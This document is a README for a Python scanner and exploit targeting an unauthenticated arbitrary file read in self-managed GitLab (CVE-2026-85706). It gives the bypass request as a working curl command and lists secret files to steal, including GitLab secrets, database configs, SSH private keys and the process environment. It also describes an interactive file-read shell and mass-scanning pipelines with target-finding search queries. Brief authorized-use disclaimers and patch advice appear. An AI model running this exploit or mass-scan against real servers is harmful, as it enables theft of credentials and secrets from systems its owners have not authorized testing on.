
Single-file Python scanner and exploit for CVE-2026-85706, an unauthenticated arbitrary file read in self-managed GitLab CE/EE, with project enumeration, loot paths, and an interactive shell.
CVE-2026-85706 — GitLab CE/EE unauthenticated arbitrary file read
detect · public project enum · loot · interactive shell · subfinder/httpx pipeline
Author: Yunus Emre Öztaş (mitsec)
X: x.com/ynsmroztas
GitHub: github.com/ynsmroztas
Site: ynsmroztas.github.io
Mail: [email protected]
Use only on systems you own or are explicitly authorized to test (bug bounty / VDP / written contract).
GitLabSniper.py is a single-file Python scanner/exploit for CVE-2026-85706: an unauthenticated local file read in self-managed GitLab Community Edition and Enterprise Edition.
It does not stop at “version looks affected”. It fires the Workhorse parser-differential bypass, classifies the Rails response, and only prints FILE LEAK when the 400 body contains the file bytes inside invalid %-encoding (...).
| Band | Versions |
|---|---|
| Affected | 18.7 – 19.1.7 · 19.2.0 – 19.2.5 · 19.3.0 – 19.3.1 |
| Patched | 19.1.8 / 19.2.6 / 19.3.2 (2026-09-10) |
| Not in scope | gitlab.com · GitLab Dedicated |
Three repository endpoints sit behind Workhorse requestBodyUploader:
POST /api/v4/projects/:id/repository/commitsPOST /api/v4/projects/:id/repository/files/:file_pathPUT /api/v4/projects/:id/repository/files/:file_pathRails takes the raw file.path field and runs File.open before authenticate!. require_gitlab_workhorse! is not a real gate here: Workhorse already stamps a valid Gitlab-Workhorse-Api-Request JWT on anything it proxies.
Workhorse was supposed to rewrite the upload first. Its route regex matches EscapedPath() and a path.Clean clone that never percent-decodes. Puma does decode %XX before Grape routing.
Attacker
POST /api/v4/projects/35/repository/%63ommits
POST /api/v4/projects/35/repository/commits/ ← trailing slash also slips
?file=&file.path=/etc/passwd&file.size=1
&Content-Type=application/x-www-form-urlencoded
│
▼
Workhorse regex sees "%63ommits" / "commits/" → MISS (no rewrite)
│
▼
Puma decodes %63 → commits → ROUTES to Rails
│
▼
Rails File.open(params[:file][:path]) → BEFORE auth
│
▼
Rack parse_nested_query(File.read(path))
stray "%" that is not %HH
│
▼
HTTP 400 Invalid parameter: invalid %-encoding (<raw file bytes>)
file= blank satisfies requires :file, WorkhorseFile (blank → nil). The leak channel is the urlencoded branch. JSON/Oj does not echo file bytes the same way — the tool always sends Content-Type=application/x-www-form-urlencoded.
//, /./, %2F and ; do not bypass: path.Clean normalizes the first two and Puma rejects %2F.
The project id is not “which repo to steal files from”. file.path is an absolute server path. The id is only the URL piece that reaches the vulnerable controller.
That is why the tool enumerates GET /api/v4/projects and skips gated ids.
Confirmed leak requires this substring in the body:
invalid %-encoding (
Files with no lone % may still be opened (read-noecho / later branch is required) but will not echo. That is an oracle, not a reportable dump.
x-gitlab-* / sign-in) + version range when visibleGET /api/v4/projects)1..7)%63ommits · %72epository · %66iles/ · .jsonleak · leak-fragment · read-noecho · missing · project-gate · rewrite · pip install requests
python3 GitLabSniper.py -h
Python 3.10+. No other deps.
python3 GitLabSniper.py -u https://gitlab.example.com --auto
python3 GitLabSniper.py -u https://gitlab.example.com --auto --shell
python3 GitLabSniper.py -u https://gitlab.example.com --file /etc/gitlab/gitlab-secrets.json
python3 GitLabSniper.py -u https://gitlab.example.com --project-id 35 --auto
python3 GitLabSniper.py -u https://gitlab.example.com --shell
[email protected]> help
[email protected]> cat /etc/passwd
[email protected]> secrets
[email protected]> loot
[email protected]> project 35
[email protected]> curl /etc/gitlab/gitlab.rb
[email protected]> exit
subfinder -d example.com -silent \
| httpx -silent -sc -td -title \
| python3 GitLabSniper.py --pipe --auto -o hits.jsonl
subfinder -d example.com -silent \
| httpx -silent -json \
| python3 GitLabSniper.py --pipe --auto -q -o hits.jsonl
# stdin is not a TTY → --pipe is implied
cat hosts.txt | python3 GitLabSniper.py --auto
Parser accepts:
https://gitlab.example.comhttps://gitlab.example.com [200] [GitLab] [nginx]httpx -json objects (url / status_code)host and host:port[0] / timeout / empty rowsExit codes: 0 leak · 1 oracle-only / no leak in pipe · 2 no usable signal.
Do not file a critical based on read-noecho alone.
/etc/hostname
/etc/passwd
/etc/os-release
/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml
/opt/gitlab/embedded/service/gitlab-rails/config/gitlab.yml
/opt/gitlab/embedded/service/gitlab-rails/config/database.yml
/etc/gitlab/gitlab-secrets.json
/etc/gitlab/gitlab.rb
/var/opt/gitlab/gitlab-rails/etc/secrets.yml
/opt/gitlab/embedded/service/gitlab-rails/config/initializers/secret_token.rb
/root/.ssh/id_rsa
/var/opt/gitlab/.ssh/id_rsa
/proc/self/environ
Highest impact when they echo: secrets.yml, gitlab-secrets.json, database.yml (secret_key_base, otp_key_base, DB password).
curl -sk -X POST \
"https://gitlab.example.com/api/v4/projects/35/repository/commits/?file=&file.path=%2Fopt%2Fgitlab%2Fembedded%2Fservice%2Fgitlab-rails%2Fconfig%2Fgitlab.yml&file.size=1&Content-Type=application/x-www-form-urlencoded"
Vulnerable instance returns JSON similar to:
{"message":"400 Bad request - Invalid parameter: invalid %-encoding (## GitLab settings\n gitlab:\n host: gitlab.example.com\n ... )"}
On some hosts %63ommits is 401 and /repository/commits/ (trailing slash) is the form that leaks. The tool walks every variant.
http.html:"GitLab" http.status:200
http.html:"Sign in · GitLab"
ssl:"gitlab" port:443
"X-Gitlab-"
Pair with subfinder | httpx | GitLabSniper.py --pipe --auto.
This repository is for authorized security testing and defensive validation after patching. You are responsible for scope.
If you operate a self-managed GitLab box in the affected range: upgrade to 19.1.8 / 19.2.6 / 19.3.2 now. Hunt access logs for POST /api/v4/projects/*/repository/commits with a file.path query parameter.
Vulnerability reported by s3ntago via GitLab HackerOne.
Write-up and original PoC that this tool is built on:
https://github.com/guneykabel/cve-2026-85706
Thank you to guneykabel for publishing a clear classifier (leak / missing / project-gate / rewrite) and the Workhorse ↔ Puma differential explanation. GitLabSniper wraps that model with project enum, loot, shell and recon pipelines.
GitLab advisory / patches: CE/EE 19.1.8, 19.2.6, 19.3.2.
Yunus Emre Öztaş · mitsec
[email protected]| Endpoint | Project requirement |
|---|
files (%66iles) | Any id often works — File.open is before project checks |
commits (%63ommits, commits/, commits.json) | Needs a project an anonymous user can read_code. Otherwise 404 Project Not Found |
noroute--auto loot list (hostname, passwd, secrets.yml, gitlab-secrets.json, gitlab.rb, database.yml, ssh keys, environ)cat, loot, secrets, passwd, project <id>, curl)httpx -sc -td -title, httpx -json, ANSI stripped-o)| Flag | Meaning |
|---|
-u / -t / --target | Single base URL |
--pipe | Read targets from stdin |
-f / --list | File of hosts |
--file | One absolute path to read |
--auto / --loot | High-value GitLab file list |
--shell | Interactive file-read shell |
--project-id | Force project id (default: enum + fallback) |
--max-projects | Cap enum/fallback ids (default 8) |
--force | Scan even if fingerprint is weak |
--threads | Pipeline workers (default 8) |
--timeout | Seconds (default 15) |
-o | hits.json or hits.jsonl |
-q | Quiet |
--no-banner | No banner |
| Tag | Meaning | Report? |
|---|
leak | invalid %-encoding ( + file bytes | Yes — confirmed |
leak-fragment | Partial echo | Maybe, attach body |
read-noecho | 401 / branch is required after open, no % in file | Oracle only |
missing | local file not present — bypass reached disk | Existence oracle |
project-gate | 404 Project Not Found | Try another public id |
rewrite | Workhorse rewrote body (Invalid json) | This form is dead |
noroute | Plain 404 | Patched or wrong path |
other | 500 / leftover | Dump body before claiming |